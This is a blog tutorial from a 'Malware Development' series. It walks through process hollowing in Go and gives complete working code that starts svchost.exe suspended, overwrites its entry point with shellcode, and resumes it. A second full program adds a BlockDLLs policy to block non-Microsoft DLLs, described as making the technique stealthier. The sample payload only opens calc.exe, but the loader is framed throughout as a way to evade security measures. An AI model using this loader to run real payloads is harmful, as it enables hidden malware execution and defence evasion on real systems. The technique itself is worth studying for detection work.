Malware Development 16 - Process Hollowing (Golang)
Introduction
Hi there!
After almost one year since last post, today we will be discussing a well-known technique used by Red Teamers and malware developers to make shellcode injection a little bit more OPSEC, this technique is called Process Hollowing. And, in a few words, it is used to replace the executable section of a legitimate process with malicious code, generally a PE.
Explanation
During red team operations, it is better to perform as much operations as possible in memory, without touching the disk. To achieve so, we have to take action in order to make sure that we are not discovered. This is where Process Hollowing comes into play as it allows us to execute shellcode or a PE (Portable Executable) without spawning a suspicious process which performs weird system calls. This is one the main reasons why this technique has been used by a bunch of APTs and famous tools.
Generally, Process Hollowing is mostly used to run a PE under other process. Even though, today we will see how to do it directly with shellcode as it is way much easier. Indeed, we will be using a calc.exe
shellcode for testing purposes and we will also see that the calc.exe
process is launched as a child of the process we select.
In this case our shellcode is var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc}
First of all, we have to create the process in which we will inject later the shellcode. For instance, a good process to choose is svchost.exe
or explorer.exe
as there usually are multiple processes running in the system.
Then we use ZwQueryInformationProcess
to get info about the process we have created and also to parse the PROCESS_BASIC_INFORMATION struct and find the PebBaseAddress. Finally we end up computing the EntryPoint address, where we will write our shellcode
Code
As always, we will doing this in Golang. We can start by loading the DLLs and defining variables:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
func ProcessHollowing(shellcode []byte, cmd string) error {
// load DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
// define calls
CreateProcessA := kernel32.NewProc("CreateProcessA")
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess")
// define parameters
var pbi PROCESS_BASIC_INFORMATION
si:= &windows.StartupInfo{}
pi := &windows.ProcessInformation{}
cmd := append([]byte(proc), byte(0))
/*
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*/
CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 0, 0x4, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)))
...
}
To continue with the hollowing, we need to know the ImageBaseAddress
and to do so we will use ZwQueryInformationProcess
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func ProcessHollowing(shellcode []byte, cmd string) error {
...
var returnLength int32
pointerSize := unsafe.Sizeof(uintptr(0))
/*
NTSTATUS WINAPI ZwQueryInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
*/
ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength)))
imageBaseAddress := pbi.PebBaseAddress + 0x10
...
}
Then, we call ReadProcessMemory
to read the memory in order to parse the PROCESS_BASIC_INFORMATION struct and find the ImageBaseValue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func ProcessHollowing(shellcode []byte, cmd string) {
...
addressBuffer := make([]byte, pointerSize)
var read uintptr
/*
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
*/
ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
imageBaseValue := binary.LittleEndian.Uint64(addressBuffer)
...
}
After this, we call ReadProcessMemory
again to finally find the entrypoint address, where we will write our shellcode in.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func ProcessHollowing(shellcode []byte, cmd string) {
...
addressBuffer = make([]byte, 0x200)
/*
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
*/
r1, _, err := ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
if r1 == 0 {
return err
}
lfaNewPos := addressBuffer[0x3c : 0x3c+0x4]
lfanew := binary.LittleEndian.Uint32(lfaNewPos)
entrypointOffset := lfanew + 0x28
entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4]
entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
entrypointAddress := imageBaseValue + uint64(entrypointRVA)
...
}
And finally, we write our shellcode into the entrypoint so that it gets executed under the process we have created (e.g. explorer.exe or svchost.exe)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
func ProcessHollowing(shellcode []byte, cmd string) error {
...
/*
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
*/
r2, _, err := WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
if r2 == 0 {
return err
}
/*
DWORD ResumeThread(
[in] HANDLE hThread
);
*/
ResumeThread.Call(uintptr(pi.Thread))
return nil
}
At this point the main function is ready to be used. We just have to define the remaining part of the file like the imports and structs. Taking that into account, this is the final code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main
import (
"log"
"unsafe"
"encoding/binary"
"golang.org/x/sys/windows"
)
type PROCESS_BASIC_INFORMATION struct {
reserved1 uintptr // PVOID
PebBaseAddress uintptr // PPEB
reserved2 [2]uintptr // PVOID
UniqueProcessId uintptr // ULONG_PTR
InheritedFromUniqueProcessID uintptr // PVOID
}
func ProcessHollowing(shellcode []byte, proc string) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
CreateProcessA := kernel32.NewProc("CreateProcessA")
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess")
var pbi PROCESS_BASIC_INFORMATION
si:= &windows.StartupInfo{}
pi := &windows.ProcessInformation{}
cmd := append([]byte(proc), byte(0))
CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 0, 0x4, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)))
var returnLength int32
pointerSize := unsafe.Sizeof(uintptr(0))
ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength)))
imageBaseAddress := pbi.PebBaseAddress + 0x10
addressBuffer := make([]byte, pointerSize)
var read uintptr
ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
imageBaseValue := binary.LittleEndian.Uint64(addressBuffer)
addressBuffer = make([]byte, 0x200)
r1, _, err := ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
if r1 == 0 {
return err
}
lfaNewPos := addressBuffer[0x3c : 0x3c+0x4]
lfanew := binary.LittleEndian.Uint32(lfaNewPos)
entrypointOffset := lfanew + 0x28
entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4]
entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
entrypointAddress := imageBaseValue + uint64(entrypointRVA)
r2, _, err := WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
if r2 == 0 {
return err
}
ResumeThread.Call(uintptr(pi.Thread))
return nil
}
func main(){
var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc}
err := ProcessHollowing(shellcode, "C:\\Windows\\System32\\svchost.exe")
if err != nil {
log.Fatal(err)
}
}
Demo
The code is working so let’s compile and transfer it to our testing Windows machine.
1
$ GOARCH=amd64 GOOS=windows go build main.go
Let’s move the binary into a Windows machine and see what it does.
In order to view processes information and a lot of details about them, I strongly recommend using System Informer (also called ProcessHacker in the past). It will allow us to verify if the process has been spawned under svchost.exe
.
As you can see in the picture, it works as expected.
Process Hollowing + BlockDLLs
To make this technique even more OPSEC and powerful we can also protect our process from non-Microsoft signed DLLs like CobaltStrike does with the blockdlls
feature
I won’t dig deep on how this technique works as I already wrote a post about this some time ago so take a look at it here if you want to. Basically, we have to leverage certain system calls before creating the process by specifying some special flags.
The main code will be like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
package main
import (
"fmt"
"log"
"unsafe"
"encoding/binary"
"golang.org/x/sys/windows"
)
type PROCESS_BASIC_INFORMATION struct {
Reserved1 uintptr
PebAddress uintptr
Reserved2 uintptr
Reserved3 uintptr
UniquePid uintptr
MoreReserved uintptr
}
type StartupInfoEx struct {
windows.StartupInfo
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}
type ProcessInformation struct {
Process Handle
Thread Handle
ProcessId uint32
ThreadId uint32
}
type Handle uintptr
type PROC_THREAD_ATTRIBUTE_LIST struct {
dwFlags uint32
size uint64
count uint64
reserved uint64
unknown *uint64
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
}
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
attribute *uint32
cbSize uintptr
lpValue uintptr
}
type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
Flags uint32
}
func main(){
var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
GetProcessHeap := kernel32.NewProc("GetProcessHeap")
HeapAlloc := kernel32.NewProc("HeapAlloc")
HeapFree := kernel32.NewProc("HeapFree")
InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
CreateProcessA := kernel32.NewProc("CreateProcessA")
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess")
var pbi PROCESS_BASIC_INFORMATION
procThreadAttributeSize := uintptr(0)
InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
fmt.Println("GetProcessHeap")
procHeap, _, err := GetProcessHeap.Call()
if procHeap == 0 {
log.Fatal(err)
}
fmt.Println("HeapAlloc")
attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize)
if attributeList == 0 {
log.Fatal(err)
}
defer HeapFree.Call(procHeap, 0, attributeList)
var si StartupInfoEx
si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
fmt.Println("InitializeProcThreadAttributeList")
InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
mitigate := 0x20007
nonms := uintptr(0x100000000000|0x1000000000)
fmt.Println("UpdateProcThreadAttribute")
r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0)
if r == 0 {
log.Fatal(err)
}
cmd := append([]byte("C:\\Windows\\System32\\svchost.exe"), byte(0))
var pi ProcessInformation
si.Cb = uint32(unsafe.Sizeof(si))
flags := windows.EXTENDED_STARTUPINFO_PRESENT
fmt.Println("CreateProcessA")
r, _, err = CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 1, uintptr(uint32(flags)), 0, 0, uintptr(unsafe.Pointer(&si)), uintptr(unsafe.Pointer(&pi)))
if r == 0 {
log.Fatal(err)
}
var returnLength int32
pointerSize := unsafe.Sizeof(uintptr(0))
fmt.Println("ZwQueryInformationProcess")
ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength)))
imageBaseAddress := pbi.PebAddress + 0x10
addressBuffer := make([]byte, pointerSize)
var read uintptr
fmt.Println("ReadProcessMemory")
ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
imageBaseValue := binary.LittleEndian.Uint64(addressBuffer)
addressBuffer = make([]byte, 0x200)
fmt.Println("ReadProcessMemory")
ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
lfaNewPos := addressBuffer[0x3c : 0x3c+0x4]
lfanew := binary.LittleEndian.Uint32(lfaNewPos)
entrypointOffset := lfanew + 0x28
entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4]
entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
entrypointAddress := imageBaseValue + uint64(entrypointRVA)
fmt.Println("WriteProcessMemory")
WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
fmt.Println("ResumeThread")
ResumeThread.Call(uintptr(pi.Thread))
}
Now let’s compile our new code:
1
$ GOARCH=amd64 GOOS=windows go build blockdlls.go
Exactly as in the other program, a calc.exe
window spawns.
And if we look at our process…
It has spawned under svchost.exe
and also has the BlockDLLs policy enabled.
References
1
2
3
4
https://github.com/m0n0ph1/Process-Hollowing
https://cysinfo.com/detecting-deceptive-hollowing-techniques/
https://github.com/nicholasvg/RunPE-Process-Hollowing-GO
https://red-team-sncf.github.io/complete-process-hollowing.html
Conclusion
I hope this post has been useful to you and you have learned one of the most used techniques to evade security measures.
Source code here